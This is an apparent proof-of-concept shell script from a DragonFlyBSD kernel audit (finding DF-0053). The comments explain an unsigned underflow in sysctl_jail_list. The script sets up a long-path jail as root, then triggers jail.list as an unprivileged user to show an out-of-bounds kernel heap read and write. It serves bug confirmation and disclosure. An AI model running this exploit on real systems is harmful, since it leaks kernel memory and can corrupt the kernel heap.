DragonFlyBSD Kernel Audit
DF-0053 / jail_list_overflow.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0053 PoC - heap overflow / OOB read in sysctl_jail_list (jail.list) via
#              unsigned underflow in (jlssize - jlsused) arithmetic.
#
# sys/kern/kern_jail.c:661 sysctl_jail_list:
#   jlssize, jlsused : unsigned int  (:671)
#   jlssize = count * 1024           (:688)
#   kmalloc(jlssize + 1, M_TEMP)     (:689)  -> rounded up to next slab bucket
#   ksnprintf(jls + jlsused, (jlssize - jlsused), "%d %s %s", ...)
#       returns WOULD-BE length (subr_prf.c:549 PCHAR retval++), NOT truncated
#       length, so jlsused += count (:710) grows past actual writes.
#   Once jlsused > jlssize:
#     * (jlssize - jlsused) underflows to ~UINT_MAX          (:733, :704)
#     * ksnprintf writes at jls + jlsused (past the buffer)   (:737, :704)
#     * SYSCTL_OUT(req, jls, jlsused) reads jlsused bytes     (:749)
#       from a (jlssize+1)-byte allocation -> OOB READ of
#       (jlsused - jlssize) bytes from adjacent slab slack.
#
# OID: top-level `jail.list` (sys/kern/kern_jail.c:757
#       SYSCTL_OID(_jail, OID_AUTO, list, ...))
#       -- NOT kern.jail.list as the finding/old-PoC mistakenly said.
#       Same OID on 6.4.2 and master. Previous test's "kern.jail.list
#       unknown" was a PoC typo, NOT a version difference.
#
# Reachability: any unprivileged unjailed user (only check is !jailed, :679).
# Precondition: at least one jail whose formatted line (pr_id + ' ' + pr_host
#               + ' ' + fullpath) exceeds 1024 bytes, i.e. fullpath ~770+
#               bytes given MAXHOSTNAMELEN=256.
#
# This PoC: phase 1 (root) creates ONE jail with maximum hostname (~255 chars)
#           + deep chroot path (~980 chars) + many IPs. Phase 2 (any user)
#           triggers jail.list and compares the returned byte count to
#           jlssize (= count*1024).  If OUTPUT_BYTES > JLS_SIZE -> bug fired
#           (OOB read of OUTPUT_BYTES - JLS_SIZE from slab slack, plus OOB
#           writes during the IP loop).

set -e

# ---- phase detection ----
if [ "$(id -u)" -eq 0 ]; then
    ############################# phase 1 (root) #############################
    echo "=== DF-0053 phase 1 (root): provisioning long-path jail ==="

    base=/tmp/df0053
    rm -rf "$base"; mkdir -p "$base"

    # Build a deeply-nested path ONE LEVEL AT A TIME.  `mkdir -p $longpath`
    # silently truncates on DragonFly (returns success but only creates a
    # few levels); single-level mkdir() works up to ~1022 chars total.
    # 60 levels * 16 chars + 11 (base) = 971 chars, leaving room for the
    # format prefix to push the per-jail line past 1024.
    p=$base
    n=0
    while [ $n -lt 60 ]; do
        p=$p/lllllllllllllll       # 15 chars + '/' = 16 chars/level
        n=$((n+1))
        mkdir "$p" 2>/dev/null || break
    done
    pathlen=$(echo -n "$p" | wc -c)
    echo "[*] deep chroot path len: $pathlen chars (depth=$((n-1)))"

    # Build a static sleeper binary (jail needs SOMETHING to exec inside the
    # chroot, and /bin/sh is absent there).
    cat > "$base/sleeper.c" <<'C'
#include <unistd.h>
int main(void){ for(;;) pause(); return 0; }
C
    cc -static -O2 -o "$base/sleeper" "$base/sleeper.c"

    # Inside the chroot, the binary will be at /s (relative path).
    cp "$base/sleeper" "$p/s"

    # Maximum-length hostname (255 chars + NUL = MAXHOSTNAMELEN).
    host=$(printf 'h%.0s' $(seq 1 255))

    # DragonFly jail(8) uses the OLD syntax:
    #   jail path hostname ip1,ip2,... command
    # Comma-separated IPs; many IPs amplify the IP-loop OOB write inside
    # sysctl_jail_list.
    ips=
    i=1
    while [ $i -le 64 ]; do
        if [ -z "$ips" ]; then ips="10.0.0.$i";
        else                ips="$ips,10.0.0.$i"; fi
        i=$((i+1))
    done

    echo "[*] launching jail: host=$host path=$p ips=$ips"
    # -i prints the JID.  background it so the jail persists.
    /usr/sbin/jail -i "$p" "$host" "$ips" /s \
        > "$base/jail.log" 2>&1 &
    jailpid=$!
    sleep 1
    echo "[*] jail pid=$jailpid; jls output:"
    /usr/sbin/jls 2>&1 | head -5 || true

    echo "[*] phase 1 done.  Now run as an unprivileged user:"
    echo "    sh $0"
    echo
    echo "[*] expected: output_bytes > jlssize (= count*1024 = 1024) on master"
    exit 0
fi

############################## phase 2 (user) ##############################
echo "=== DF-0053 phase 2 (uid=$(id -u)): triggering jail.list ==="

# Trigger the sysctl.  Use sysctl(2) directly via Python so we can capture
# the EXACT byte count (libc sysctl may truncate the user-side read; we
# want the kernel-supplied length to compare against jlssize).
if command -v python3 >/dev/null 2>&1; then
    PY=python3
elif command -v python >/dev/null 2>&1; then
    PY=python
else
    PY=
fi

if [ -n "$PY" ]; then
    "$PY" - <<'PY'
import sys, ctypes, struct

libc = ctypes.CDLL("libc.so", use_errno=True)

# sysctl(name, namelen, oldp, oldlenp, newp, newlen)
SYS_sysctl = 202  # from sys/sys/syscall.h

# Build the OID path "jail.list" by first resolving the string OID.
CTL_UNSPEC   = 0
CTLTYPE      = 0xf
CTLFLAG_LOCK = 0x00800000

# Resolve "jail.list" via sysctl(2) with name={0,3} (CTL_QUERY, depth=1?).
# Easier: hard-code the canonical integer OID once we know it.  We can also
# just use the libc-level sysctlnametomib() helper.
sysctlnametomib = libc.sysctlnametomib
sysctlnametomib.restype = ctypes.c_int
sysctlnametomib.argtypes = [ctypes.c_char_p, ctypes.POINTER(ctypes.c_int),
                            ctypes.POINTER(ctypes.c_size_t)]

mib = (ctypes.c_int * 8)()
miblen = ctypes.c_size_t(8)
r = sysctlnametomib(b"jail.list", mib, ctypes.byref(miblen))
if r != 0:
    print("[!] sysctlnametomib failed: errno=%d" % ctypes.get_errno())
    sys.exit(1)

n = miblen.value
name = (ctypes.c_int * n)(*mib[:n])
print("[*] jail.list MIB: %s (len=%d)" % (
    ".".join(str(mib[i]) for i in range(n)), n))

# First call: probe length.
oldlenp = ctypes.c_size_t(0)
rc = libc.sysctl(name, n, None, ctypes.byref(oldlenp), None, 0)
print("[*] sysctl probe rc=%d  kernel-reported length=%d bytes" %
      (rc, oldlenp.value))

# Second call: read the data.
buf = ctypes.create_string_buffer(b'\x00' * oldlenp.value)
got = ctypes.c_size_t(oldlenp.value)
rc = libc.sysctl(name, n, buf, ctypes.byref(got), None, 0)
data = buf.raw[:got.value]
print("[*] sysctl read   rc=%d  bytes-returned=%d" % (rc, got.value))

# jlssize = count * 1024.  We don't know exactly how many jails the kernel
# counted, but we can count jail lines (newline-separated).
nlines = data.count(b"\n") + 1 if data else 0
jlssize = nlines * 1024
print("[*] jail lines     = %d   -> jlssize = %d bytes" % (nlines, jlssize))

extra = got.value - jlssize
if extra > 0:
    print("[+] BUG CONFIRMED: kernel returned %d bytes from a %d-byte buffer"
          " -> OOB read of %d bytes" % (got.value, jlssize, extra))
    # Show last 80 bytes to demonstrate the OOB content (often zeros from
    # slab slack, sometimes stale slab data).
    tail = data[-80:]
    hexd = " ".join("%02x" % b for b in tail)
    asci = "".join(chr(b) if 32 <= b < 127 else "." for b in tail)
    print("[*] last 80 bytes (hex)  :", hexd)
    print("[*] last 80 bytes (ascii):", asci)
else:
    print("[-] output (%d) <= jlssize (%d); bug did not fire" %
          (got.value, jlssize))
PY
else
    # No python - fall back to /sbin/sysctl and count bytes.
    out=$(/sbin/sysctl -n jail.list 2>/dev/null)
    n=$(printf '%s\n' "$out" | wc -c)
    echo "[*] jail.list output length: $n bytes (no python to compute jlssize)"
fi

echo "[*] phase 2 complete"